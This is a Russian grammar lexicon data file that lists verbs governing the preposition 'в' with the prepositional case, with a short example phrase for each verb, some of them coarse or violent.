rus_verbs:насиловать{}, // насиловать в квартире
rus_verbs:побороть{}, // побороть в себе
rus_verbs:учитывать{}, // учитывать в расчетах
rus_verbs:искажать{}, // искажать в заметке
rus_verbs:пропить{}, // пропить в кабаке
rus_verbs:катать{}, // катать в лодочке
rus_verbs:припрятать{}, // припрятать в кармашке
rus_verbs:запаниковать{}, // запаниковать в бою
rus_verbs:рассыпать{}, // рассыпать в траве
rus_verbs:застревать{}, // застревать в ограде
rus_verbs:зажигаться{}, // зажигаться в сумерках
rus_verbs:жарить{}, // жарить в масле
rus_verbs:накапливаться{}, // накапливаться в костях
rus_verbs:распуститься{}, // распуститься в горшке
rus_verbs:проголосовать{}, // проголосовать в передвижном пункте
rus_verbs:странствовать{}, // странствовать в автомобиле
rus_verbs:осматриваться{}, // осматриваться в хоромах
rus_verbs:разворачивать{}, // разворачивать в спортзале
rus_verbs:заскучать{}, // заскучать в самолете
rus_verbs:напутать{}, // напутать в расчете
rus_verbs:перекусить{}, // перекусить в столовой
rus_verbs:спасаться{}, // спасаться в автономной капсуле
rus_verbs:посовещаться{}, // посовещаться в комнате
rus_verbs:доказываться{}, // доказываться в статье
rus_verbs:познаваться{}, // познаваться в беде
rus_verbs:загрустить{}, // загрустить в одиночестве
rus_verbs:оживить{}, // оживить в памяти
rus_verbs:переворачиваться{}, // переворачиваться в гробу
rus_verbs:заприметить{}, // заприметить в лесу
rus_verbs:отравиться{}, // отравиться в забегаловке
rus_verbs:продержать{}, // продержать в клетке
rus_verbs:выявить{}, // выявить в костях
rus_verbs:заседать{}, // заседать в совете
rus_verbs:расплачиваться{}, // расплачиваться в первой кассе
rus_verbs:проломить{}, // проломить в двери
rus_verbs:подражать{}, // подражать в мелочах
rus_verbs:подсчитывать{}, // подсчитывать в уме
rus_verbs:опережать{}, // опережать во всем
rus_verbs:сформироваться{}, // сформироваться в облаке
rus_verbs:укрепиться{}, // укрепиться в мнении
rus_verbs:отстоять{}, // отстоять в очереди
rus_verbs:развертываться{}, // развертываться в месте испытания
rus_verbs:замерзать{}, // замерзать во льду
rus_verbs:утопать{}, // утопать в снегу
rus_verbs:раскаиваться{}, // раскаиваться в содеянном
rus_verbs:организовывать{}, // организовывать в пионерлагере
rus_verbs:перевестись{}, // перевестись в наших краях
rus_verbs:смешивать{}, // смешивать в блендере
rus_verbs:ютиться{}, // ютиться в тесной каморке
rus_verbs:прождать{}, // прождать в аудитории
rus_verbs:подыскивать{}, // подыскивать в женском общежитии
rus_verbs:замочить{}, // замочить в сортире
rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке
rus_verbs:растирать{}, // растирать в ступке
rus_verbs:замедлять{}, // замедлять в парафине
rus_verbs:переспать{}, // переспать в палатке
rus_verbs:рассекать{}, // рассекать в кабриолете
rus_verbs:отыскивать{}, // отыскивать в залежах
rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении
rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке
rus_verbs:укрываться{}, // укрываться в землянке
rus_verbs:запечься{}, // запечься в золе
rus_verbs:догорать{}, // догорать в темноте
rus_verbs:застилать{}, // застилать в коридоре
rus_verbs:сыскаться{}, // сыскаться в деревне
rus_verbs:переделать{}, // переделать в мастерской
rus_verbs:разъяснять{}, // разъяснять в своей лекции
rus_verbs:селиться{}, // селиться в центре
rus_verbs:оплачивать{}, // оплачивать в магазине
rus_verbs:переворачивать{}, // переворачивать в закрытой банке
rus_verbs:упражняться{}, // упражняться в остроумии
rus_verbs:пометить{}, // пометить в списке
rus_verbs:припомниться{}, // припомниться в завещании
rus_verbs:приютить{}, // приютить в амбаре
rus_verbs:натерпеться{}, // натерпеться в темнице
rus_verbs:затеваться{}, // затеваться в клубе
rus_verbs:уплывать{}, // уплывать в лодке
rus_verbs:скиснуть{}, // скиснуть в бидоне
rus_verbs:заколоть{}, // заколоть в боку
rus_verbs:замерцать{}, // замерцать в темноте
rus_verbs:фиксироваться{}, // фиксироваться в протоколе
rus_verbs:запираться{}, // запираться в комнате
rus_verbs:съезжаться{}, // съезжаться в каретах
rus_verbs:толочься{}, // толочься в ступе
rus_verbs:потанцевать{}, // потанцевать в клубе
rus_verbs:побродить{}, // побродить в парке
rus_verbs:назревать{}, // назревать в коллективе
rus_verbs:дохнуть{}, // дохнуть в питомнике
rus_verbs:крестить{}, // крестить в деревенской церквушке
rus_verbs:рассчитаться{}, // рассчитаться в банке
rus_verbs:припарковаться{}, // припарковаться во дворе
rus_verbs:отхватить{}, // отхватить в магазинчике
rus_verbs:остывать{}, // остывать в холодильнике
rus_verbs:составляться{}, // составляться в атмосфере тайны
rus_verbs:переваривать{}, // переваривать в тишине
rus_verbs:хвастать{}, // хвастать в казино
rus_verbs:отрабатывать{}, // отрабатывать в теплице
rus_verbs:разлечься{}, // разлечься в кровати
rus_verbs:прокручивать{}, // прокручивать в голове
rus_verbs:очертить{}, // очертить в воздухе
rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей
rus_verbs:выявлять{}, // выявлять в боевых условиях
rus_verbs:караулить{}, // караулить в лифте
rus_verbs:расставлять{}, // расставлять в бойницах
rus_verbs:прокрутить{}, // прокрутить в голове
rus_verbs:пересказывать{}, // пересказывать в первой главе
rus_verbs:задавить{}, // задавить в зародыше
rus_verbs:хозяйничать{}, // хозяйничать в холодильнике
rus_verbs:хвалиться{}, // хвалиться в детском садике
rus_verbs:оперировать{}, // оперировать в полевом госпитале
rus_verbs:формулировать{}, // формулировать в следующей главе
rus_verbs:застигнуть{}, // застигнуть в неприглядном виде
rus_verbs:замурлыкать{}, // замурлыкать в тепле
rus_verbs:поддакивать{}, // поддакивать в споре
rus_verbs:прочертить{}, // прочертить в воздухе
rus_verbs:отменять{}, // отменять в городе коменданский час
rus_verbs:колдовать{}, // колдовать в лаборатории
rus_verbs:отвозить{}, // отвозить в машине
rus_verbs:трахать{}, // трахать в гамаке
rus_verbs:повозиться{}, // повозиться в мешке
rus_verbs:ремонтировать{}, // ремонтировать в центре
rus_verbs:робеть{}, // робеть в гостях
rus_verbs:перепробовать{}, // перепробовать в деле
инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии
глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш },
rus_verbs:покаяться{}, // покаяться в церкви
rus_verbs:попрыгать{}, // попрыгать в бассейне
rus_verbs:умалчивать{}, // умалчивать в своем докладе
rus_verbs:ковыряться{}, // ковыряться в старой технике
rus_verbs:расписывать{}, // расписывать в деталях
rus_verbs:вязнуть{}, // вязнуть в песке
rus_verbs:погрязнуть{}, // погрязнуть в скандалах
rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу
rus_verbs:зажимать{}, // зажимать в углу
rus_verbs:стискивать{}, // стискивать в ладонях
rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса
rus_verbs:израсходовать{}, // израсходовать в полете
rus_verbs:клокотать{}, // клокотать в жерле
rus_verbs:обвиняться{}, // обвиняться в растрате
rus_verbs:уединиться{}, // уединиться в кладовке
rus_verbs:подохнуть{}, // подохнуть в болоте
rus_verbs:кипятиться{}, // кипятиться в чайнике
rus_verbs:уродиться{}, // уродиться в лесу
rus_verbs:продолжиться{}, // продолжиться в баре
rus_verbs:расшифровать{}, // расшифровать в специальном устройстве
rus_verbs:посапывать{}, // посапывать в кровати
rus_verbs:скрючиться{}, // скрючиться в мешке
rus_verbs:лютовать{}, // лютовать в отдаленных селах
rus_verbs:расписать{}, // расписать в статье
rus_verbs:публиковаться{}, // публиковаться в научном журнале
rus_verbs:зарегистрировать{}, // зарегистрировать в комитете
rus_verbs:прожечь{}, // прожечь в листе
rus_verbs:переждать{}, // переждать в окопе
rus_verbs:публиковать{}, // публиковать в журнале
rus_verbs:морщить{}, // морщить в уголках глаз
rus_verbs:спиться{}, // спиться в одиночестве
rus_verbs:изведать{}, // изведать в гареме
rus_verbs:обмануться{}, // обмануться в ожиданиях
rus_verbs:сочетать{}, // сочетать в себе
rus_verbs:подрабатывать{}, // подрабатывать в магазине
rus_verbs:репетировать{}, // репетировать в студии
rus_verbs:рябить{}, // рябить в глазах
rus_verbs:намочить{}, // намочить в луже
rus_verbs:скатать{}, // скатать в руке
rus_verbs:одевать{}, // одевать в магазине
rus_verbs:испечь{}, // испечь в духовке
rus_verbs:сбрить{}, // сбрить в подмышках
rus_verbs:зажужжать{}, // зажужжать в ухе
rus_verbs:сберечь{}, // сберечь в тайном месте
rus_verbs:согреться{}, // согреться в хижине
инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле
глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш },
rus_verbs:переплыть{}, // переплыть в лодочке
rus_verbs:передохнуть{}, // передохнуть в тени
rus_verbs:отсвечивать{}, // отсвечивать в зеркалах
rus_verbs:переправляться{}, // переправляться в лодках
rus_verbs:накупить{}, // накупить в магазине
rus_verbs:проторчать{}, // проторчать в очереди
rus_verbs:проскальзывать{}, // проскальзывать в сообщениях
rus_verbs:застукать{}, // застукать в солярии
rus_verbs:наесть{}, // наесть в отпуске
rus_verbs:подвизаться{}, // подвизаться в новом деле
rus_verbs:вычистить{}, // вычистить в саду
rus_verbs:кормиться{}, // кормиться в лесу
rus_verbs:покурить{}, // покурить в саду
rus_verbs:понизиться{}, // понизиться в ранге
rus_verbs:зимовать{}, // зимовать в избушке
rus_verbs:проверяться{}, // проверяться в службе безопасности
rus_verbs:подпирать{}, // подпирать в первом забое
rus_verbs:кувыркаться{}, // кувыркаться в постели
rus_verbs:похрапывать{}, // похрапывать в постели
rus_verbs:завязнуть{}, // завязнуть в песке
rus_verbs:трактовать{}, // трактовать в исследовательской статье
rus_verbs:замедляться{}, // замедляться в тяжелой воде
rus_verbs:шастать{}, // шастать в здании
rus_verbs:заночевать{}, // заночевать в пути
rus_verbs:наметиться{}, // наметиться в исследованиях рака
rus_verbs:освежить{}, // освежить в памяти
rus_verbs:оспаривать{}, // оспаривать в суде
rus_verbs:умещаться{}, // умещаться в ячейке
rus_verbs:искупить{}, // искупить в бою
rus_verbs:отсиживаться{}, // отсиживаться в тылу
rus_verbs:мчать{}, // мчать в кабриолете
rus_verbs:обличать{}, // обличать в своем выступлении
rus_verbs:сгнить{}, // сгнить в тюряге
rus_verbs:опробовать{}, // опробовать в деле
rus_verbs:тренировать{}, // тренировать в зале
rus_verbs:прославить{}, // прославить в академии
rus_verbs:учитываться{}, // учитываться в дипломной работе
rus_verbs:повеселиться{}, // повеселиться в лагере
rus_verbs:поумнеть{}, // поумнеть в карцере
rus_verbs:перестрелять{}, // перестрелять в воздухе
rus_verbs:проведать{}, // проведать в больнице
rus_verbs:измучиться{}, // измучиться в деревне
rus_verbs:прощупать{}, // прощупать в глубине
rus_verbs:изготовлять{}, // изготовлять в сарае
rus_verbs:свирепствовать{}, // свирепствовать в популяции
rus_verbs:иссякать{}, // иссякать в источнике
rus_verbs:гнездиться{}, // гнездиться в дупле
rus_verbs:разогнаться{}, // разогнаться в спортивной машине
rus_verbs:опознавать{}, // опознавать в неизвестном
rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде
rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках
rus_verbs:редактировать{}, // редактировать в редакторе
rus_verbs:покупаться{}, // покупаться в магазине
rus_verbs:промышлять{}, // промышлять в роще
rus_verbs:растягиваться{}, // растягиваться в коридоре
rus_verbs:приобретаться{}, // приобретаться в антикварных лавках
инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде
глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш },
rus_verbs:запечатлеться{}, // запечатлеться в мозгу
rus_verbs:укрывать{}, // укрывать в подвале
rus_verbs:закрепиться{}, // закрепиться в первой башне
rus_verbs:освежать{}, // освежать в памяти
rus_verbs:громыхать{}, // громыхать в ванной
инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати
глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш },
rus_verbs:добываться{}, // добываться в шахтах
rus_verbs:растворить{}, // растворить в кислоте
rus_verbs:приплясывать{}, // приплясывать в гримерке
rus_verbs:доживать{}, // доживать в доме престарелых
rus_verbs:отпраздновать{}, // отпраздновать в ресторане
rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях
rus_verbs:помыть{}, // помыть в проточной воде
инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке
глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш },
прилагательное:увязавший{ вид:несоверш },
rus_verbs:наличествовать{}, // наличествовать в запаснике
rus_verbs:нащупывать{}, // нащупывать в кармане
rus_verbs:повествоваться{}, // повествоваться в рассказе
rus_verbs:отремонтировать{}, // отремонтировать в техцентре
rus_verbs:покалывать{}, // покалывать в правом боку
rus_verbs:сиживать{}, // сиживать в саду
rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях
rus_verbs:укрепляться{}, // укрепляться в мнении
rus_verbs:разниться{}, // разниться во взглядах
rus_verbs:сполоснуть{}, // сполоснуть в водичке
rus_verbs:скупать{}, // скупать в магазине
rus_verbs:почесывать{}, // почесывать в паху
rus_verbs:оформлять{}, // оформлять в конторе
rus_verbs:распускаться{}, // распускаться в садах
rus_verbs:зарябить{}, // зарябить в глазах
rus_verbs:загореть{}, // загореть в Испании
rus_verbs:очищаться{}, // очищаться в баке
rus_verbs:остудить{}, // остудить в холодной воде
rus_verbs:разбомбить{}, // разбомбить в горах
rus_verbs:издохнуть{}, // издохнуть в бедности
rus_verbs:проехаться{}, // проехаться в новой машине
rus_verbs:задействовать{}, // задействовать в анализе
rus_verbs:произрастать{}, // произрастать в степи
rus_verbs:разуться{}, // разуться в прихожей
rus_verbs:сооружать{}, // сооружать в огороде
rus_verbs:зачитывать{}, // зачитывать в суде
rus_verbs:состязаться{}, // состязаться в остроумии
rus_verbs:ополоснуть{}, // ополоснуть в молоке
rus_verbs:уместиться{}, // уместиться в кармане
rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом
rus_verbs:стираться{}, // стираться в стиральной машине
rus_verbs:искупаться{}, // искупаться в прохладной реке
rus_verbs:курировать{}, // курировать в правительстве
rus_verbs:закупить{}, // закупить в магазине
rus_verbs:плодиться{}, // плодиться в подходящих условиях
rus_verbs:горланить{}, // горланить в парке
rus_verbs:першить{}, // першить в горле
rus_verbs:пригрезиться{}, // пригрезиться во сне
rus_verbs:исправлять{}, // исправлять в тетрадке
rus_verbs:расслабляться{}, // расслабляться в гамаке
rus_verbs:скапливаться{}, // скапливаться в нижней части
rus_verbs:сплетничать{}, // сплетничают в комнате
rus_verbs:раздевать{}, // раздевать в кабинке
rus_verbs:окопаться{}, // окопаться в лесу
rus_verbs:загорать{}, // загорать в Испании
rus_verbs:подпевать{}, // подпевать в церковном хоре
rus_verbs:прожужжать{}, // прожужжать в динамике
rus_verbs:изучаться{}, // изучаться в дикой природе
rus_verbs:заклубиться{}, // заклубиться в воздухе
rus_verbs:подметать{}, // подметать в зале
rus_verbs:подозреваться{}, // подозреваться в совершении кражи
rus_verbs:обогащать{}, // обогащать в специальном аппарате
rus_verbs:издаться{}, // издаться в другом издательстве
rus_verbs:справить{}, // справить в кустах нужду
rus_verbs:помыться{}, // помыться в бане
rus_verbs:проскакивать{}, // проскакивать в словах
rus_verbs:попивать{}, // попивать в кафе чай
rus_verbs:оформляться{}, // оформляться в регистратуре
rus_verbs:чирикать{}, // чирикать в кустах
rus_verbs:скупить{}, // скупить в магазинах
rus_verbs:переночевать{}, // переночевать в гостинице
rus_verbs:концентрироваться{}, // концентрироваться в пробирке
rus_verbs:одичать{}, // одичать в лесу
rus_verbs:ковырнуть{}, // ковырнуть в ухе
rus_verbs:затеплиться{}, // затеплиться в глубине души
rus_verbs:разгрести{}, // разгрести в задачах залежи
rus_verbs:застопориться{}, // застопориться в начале списка
rus_verbs:перечисляться{}, // перечисляться во введении
rus_verbs:покататься{}, // покататься в парке аттракционов
rus_verbs:изловить{}, // изловить в поле
rus_verbs:прославлять{}, // прославлять в стихах
rus_verbs:промочить{}, // промочить в луже
rus_verbs:поделывать{}, // поделывать в отпуске
rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии
rus_verbs:подстеречь{}, // подстеречь в подъезде
rus_verbs:прикупить{}, // прикупить в магазине
rus_verbs:перемешивать{}, // перемешивать в кастрюле
rus_verbs:тискать{}, // тискать в углу
rus_verbs:купать{}, // купать в теплой водичке
rus_verbs:завариться{}, // завариться в стакане
rus_verbs:притулиться{}, // притулиться в углу
rus_verbs:пострелять{}, // пострелять в тире
rus_verbs:навесить{}, // навесить в больнице
инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере
глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш },
rus_verbs:нежиться{}, // нежится в постельке
rus_verbs:притомиться{}, // притомиться в школе
rus_verbs:раздвоиться{}, // раздвоиться в глазах
rus_verbs:навалить{}, // навалить в углу
rus_verbs:замуровать{}, // замуровать в склепе
rus_verbs:поселяться{}, // поселяться в кроне дуба
rus_verbs:потягиваться{}, // потягиваться в кровати
rus_verbs:укачать{}, // укачать в поезде
rus_verbs:отлеживаться{}, // отлеживаться в гамаке
rus_verbs:разменять{}, // разменять в кассе
rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде
rus_verbs:ржаветь{}, // ржаветь в воде
rus_verbs:уличить{}, // уличить в плагиате
rus_verbs:мутиться{}, // мутиться в голове
rus_verbs:растворять{}, // растворять в бензоле
rus_verbs:двоиться{}, // двоиться в глазах
rus_verbs:оговорить{}, // оговорить в договоре
rus_verbs:подделать{}, // подделать в документе
rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети
rus_verbs:растолстеть{}, // растолстеть в талии
rus_verbs:повоевать{}, // повоевать в городских условиях
rus_verbs:прибраться{}, // гнушаться прибраться в хлеву
rus_verbs:поглощаться{}, // поглощаться в металлической фольге
rus_verbs:ухать{}, // ухать в лесу
rus_verbs:подписываться{}, // подписываться в петиции
rus_verbs:покатать{}, // покатать в машинке
rus_verbs:излечиться{}, // излечиться в клинике
rus_verbs:трепыхаться{}, // трепыхаться в мешке
rus_verbs:кипятить{}, // кипятить в кастрюле
rus_verbs:понастроить{}, // понастроить в прибрежной зоне
rus_verbs:перебывать{}, // перебывать во всех европейских столицах
rus_verbs:оглашать{}, // оглашать в итоговой части
rus_verbs:преуспевать{}, // преуспевать в новом бизнесе
rus_verbs:консультироваться{}, // консультироваться в техподдержке
rus_verbs:накапливать{}, // накапливать в печени
rus_verbs:перемешать{}, // перемешать в контейнере
rus_verbs:наследить{}, // наследить в коридоре
rus_verbs:выявиться{}, // выявиться в результе
rus_verbs:забулькать{}, // забулькать в болоте
rus_verbs:отваривать{}, // отваривать в молоке
rus_verbs:запутываться{}, // запутываться в веревках
rus_verbs:нагреться{}, // нагреться в микроволновой печке
rus_verbs:рыбачить{}, // рыбачить в открытом море
rus_verbs:укорениться{}, // укорениться в сознании широких народных масс
rus_verbs:умывать{}, // умывать в тазике
rus_verbs:защекотать{}, // защекотать в носу
rus_verbs:заходиться{}, // заходиться в плаче
инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке
глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш },
деепричастие:искупав{}, деепричастие:искупая{},
rus_verbs:заморозить{}, // заморозить в холодильнике
rus_verbs:закреплять{}, // закреплять в металлическом держателе
rus_verbs:расхватать{}, // расхватать в магазине
rus_verbs:истязать{}, // истязать в тюремном подвале
rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере
rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле
rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете
rus_verbs:подогреть{}, // подогрей в микроволновке
rus_verbs:подогревать{},
rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку
rus_verbs:проделать{}, // проделать в стене дыру
инфинитив:жениться{ вид:соверш }, // жениться в Техасе
инфинитив:жениться{ вид:несоверш },
глагол:жениться{ вид:соверш },
глагол:жениться{ вид:несоверш },
деепричастие:женившись{},
деепричастие:женясь{},
прилагательное:женатый{},
прилагательное:женившийся{вид:соверш},
прилагательное:женящийся{},
rus_verbs:всхрапнуть{}, // всхрапнуть во сне
rus_verbs:всхрапывать{}, // всхрапывать во сне
rus_verbs:ворочаться{}, // Собака ворочается во сне
rus_verbs:воссоздаваться{}, // воссоздаваться в памяти
rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах
инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу
инфинитив:атаковать{ вид:соверш },
глагол:атаковать{ вид:несоверш },
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{},
прилагательное:атаковавший{},
прилагательное:атакующий{},
инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени
инфинитив:аккумулировать{вид:соверш},
глагол:аккумулировать{вид:несоверш},
глагол:аккумулировать{вид:соверш},
прилагательное:аккумулированный{},
прилагательное:аккумулирующий{},
//прилагательное:аккумулировавший{ вид:несоверш },
прилагательное:аккумулировавший{ вид:соверш },
rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию
rus_verbs:вырасти{}, // Он вырос в глазах коллег.
rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо.
rus_verbs:убить{}, // убить в себе зверя
инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани
инфинитив:абсорбироваться{ вид:несоверш },
глагол:абсорбироваться{ вид:соверш },
глагол:абсорбироваться{ вид:несоверш },
rus_verbs:поставить{}, // поставить в углу
rus_verbs:сжимать{}, // сжимать в кулаке
rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах
rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях
инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы
инфинитив:активизироваться{ вид:соверш },
глагол:активизироваться{ вид:несоверш },
глагол:активизироваться{ вид:соверш },
rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера
rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе
rus_verbs:базировать{}, // установка будет базирована в лесу
rus_verbs:барахтаться{}, // дети барахтались в воде
rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка
rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне
rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе
rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины
rus_verbs:блуждать{}, // Туристы блуждали в лесу
rus_verbs:брать{}, // Жена берет деньги в тумбочке
rus_verbs:бродить{}, // парочки бродили в парке
rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге
rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США
rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде
rus_verbs:вариться{}, // Курица варится в кастрюле
rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году
rus_verbs:прокручиваться{}, // Ключ прокручивается в замке
rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке
rus_verbs:храниться{}, // Настройки хранятся в текстовом файле
rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле
rus_verbs:витать{}, // Мальчик витает в облаках
rus_verbs:владычествовать{}, // Король владычествует в стране
rus_verbs:властвовать{}, // Олигархи властвовали в стране
rus_verbs:возбудить{}, // возбудить в сердце тоску
rus_verbs:возбуждать{}, // возбуждать в сердце тоску
rus_verbs:возвыситься{}, // возвыситься в глазах современников
rus_verbs:возжечь{}, // возжечь в храме огонь
rus_verbs:возжечься{}, // Огонь возжёгся в храме
rus_verbs:возжигать{}, // возжигать в храме огонь
rus_verbs:возжигаться{}, // Огонь возжигается в храме
rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь
rus_verbs:вознамериться{}, // вознамериться уйти в монастырь
rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове
rus_verbs:возникнуть{}, // Новые идейки возникли в голове
rus_verbs:возродиться{}, // возродиться в новом качестве
rus_verbs:возрождать{}, // возрождать в новом качестве
rus_verbs:возрождаться{}, // возрождаться в новом амплуа
rus_verbs:ворошить{}, // ворошить в камине кочергой золу
rus_verbs:воспевать{}, // Поэты воспевают героев в одах
rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами
rus_verbs:воспеть{}, // Поэты воспели в этой оде героев
rus_verbs:воспретить{}, // воспретить в помещении азартные игры
rus_verbs:восславить{}, // Поэты восславили в одах
rus_verbs:восславлять{}, // Поэты восславляют в одах
rus_verbs:восславляться{}, // Героя восславляются в одах
rus_verbs:воссоздать{}, // воссоздает в памяти образ человека
rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека
rus_verbs:воссоздаться{}, // воссоздаться в памяти
rus_verbs:вскипятить{}, // вскипятить в чайнике воду
rus_verbs:вскипятиться{}, // вскипятиться в чайнике
rus_verbs:встретить{}, // встретить в классе старого приятеля
rus_verbs:встретиться{}, // встретиться в классе
rus_verbs:встречать{}, // встречать в лесу голодного медведя
rus_verbs:встречаться{}, // встречаться в кафе
rus_verbs:выбривать{}, // выбривать что-то в подмышках
rus_verbs:выбрить{}, // выбрить что-то в паху
rus_verbs:вывалять{}, // вывалять кого-то в грязи
rus_verbs:вываляться{}, // вываляться в грязи
rus_verbs:вываривать{}, // вываривать в молоке
rus_verbs:вывариваться{}, // вывариваться в молоке
rus_verbs:выварить{}, // выварить в молоке
rus_verbs:вывариться{}, // вывариться в молоке
rus_verbs:выгрызать{}, // выгрызать в сыре отверствие
rus_verbs:выгрызть{}, // выгрызть в сыре отверстие
rus_verbs:выгуливать{}, // выгуливать в парке собаку
rus_verbs:выгулять{}, // выгулять в парке собаку
rus_verbs:выдолбить{}, // выдолбить в стволе углубление
rus_verbs:выжить{}, // выжить в пустыне
rus_verbs:Выискать{}, // Выискать в программе ошибку
rus_verbs:выискаться{}, // Ошибка выискалась в программе
rus_verbs:выискивать{}, // выискивать в программе ошибку
rus_verbs:выискиваться{}, // выискиваться в программе
rus_verbs:выкраивать{}, // выкраивать в расписании время
rus_verbs:выкраиваться{}, // выкраиваться в расписании
инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере
глагол:выкупаться{вид:соверш},
rus_verbs:выловить{}, // выловить в пруду
rus_verbs:вымачивать{}, // вымачивать в молоке
rus_verbs:вымачиваться{}, // вымачиваться в молоке
rus_verbs:вынюхивать{}, // вынюхивать в траве следы
rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду
rus_verbs:выпачкаться{}, // выпачкаться в грязи
rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков
rus_verbs:выращивать{}, // выращивать в теплице помидоры
rus_verbs:выращиваться{}, // выращиваться в теплице
rus_verbs:вырыть{}, // вырыть в земле глубокую яму
rus_verbs:высадить{}, // высадить в пустынной местности
rus_verbs:высадиться{}, // высадиться в пустынной местности
rus_verbs:высаживать{}, // высаживать в пустыне
rus_verbs:высверливать{}, // высверливать в доске отверствие
rus_verbs:высверливаться{}, // высверливаться в стене
rus_verbs:высверлить{}, // высверлить в стене отверствие
rus_verbs:высверлиться{}, // высверлиться в стене
rus_verbs:выскоблить{}, // выскоблить в столешнице канавку
rus_verbs:высматривать{}, // высматривать в темноте
rus_verbs:заметить{}, // заметить в помещении
rus_verbs:оказаться{}, // оказаться в первых рядах
rus_verbs:душить{}, // душить в объятиях
rus_verbs:оставаться{}, // оставаться в классе
rus_verbs:появиться{}, // впервые появиться в фильме
rus_verbs:лежать{}, // лежать в футляре
rus_verbs:раздаться{}, // раздаться в плечах
rus_verbs:ждать{}, // ждать в здании вокзала
rus_verbs:жить{}, // жить в трущобах
rus_verbs:постелить{}, // постелить в прихожей
rus_verbs:оказываться{}, // оказываться в неприятной ситуации
rus_verbs:держать{}, // держать в голове
rus_verbs:обнаружить{}, // обнаружить в себе способность
rus_verbs:начинать{}, // начинать в лаборатории
rus_verbs:рассказывать{}, // рассказывать в лицах
rus_verbs:ожидать{}, // ожидать в помещении
rus_verbs:продолжить{}, // продолжить в помещении
rus_verbs:состоять{}, // состоять в группе
rus_verbs:родиться{}, // родиться в рубашке
rus_verbs:искать{}, // искать в кармане
rus_verbs:иметься{}, // иметься в наличии
rus_verbs:говориться{}, // говориться в среде панков
rus_verbs:клясться{}, // клясться в верности
rus_verbs:узнавать{}, // узнавать в нем своего сына
rus_verbs:признаться{}, // признаться в ошибке
rus_verbs:сомневаться{}, // сомневаться в искренности
rus_verbs:толочь{}, // толочь в ступе
rus_verbs:понадобиться{}, // понадобиться в суде
rus_verbs:служить{}, // служить в пехоте
rus_verbs:потолочь{}, // потолочь в ступе
rus_verbs:появляться{}, // появляться в театре
rus_verbs:сжать{}, // сжать в объятиях
rus_verbs:действовать{}, // действовать в постановке
rus_verbs:селить{}, // селить в гостинице
rus_verbs:поймать{}, // поймать в лесу
rus_verbs:увидать{}, // увидать в толпе
rus_verbs:подождать{}, // подождать в кабинете
rus_verbs:прочесть{}, // прочесть в глазах
rus_verbs:тонуть{}, // тонуть в реке
rus_verbs:ощущать{}, // ощущать в животе
rus_verbs:ошибиться{}, // ошибиться в расчетах
rus_verbs:отметить{}, // отметить в списке
rus_verbs:показывать{}, // показывать в динамике
rus_verbs:скрыться{}, // скрыться в траве
rus_verbs:убедиться{}, // убедиться в корректности
rus_verbs:прозвучать{}, // прозвучать в наушниках
rus_verbs:разговаривать{}, // разговаривать в фойе
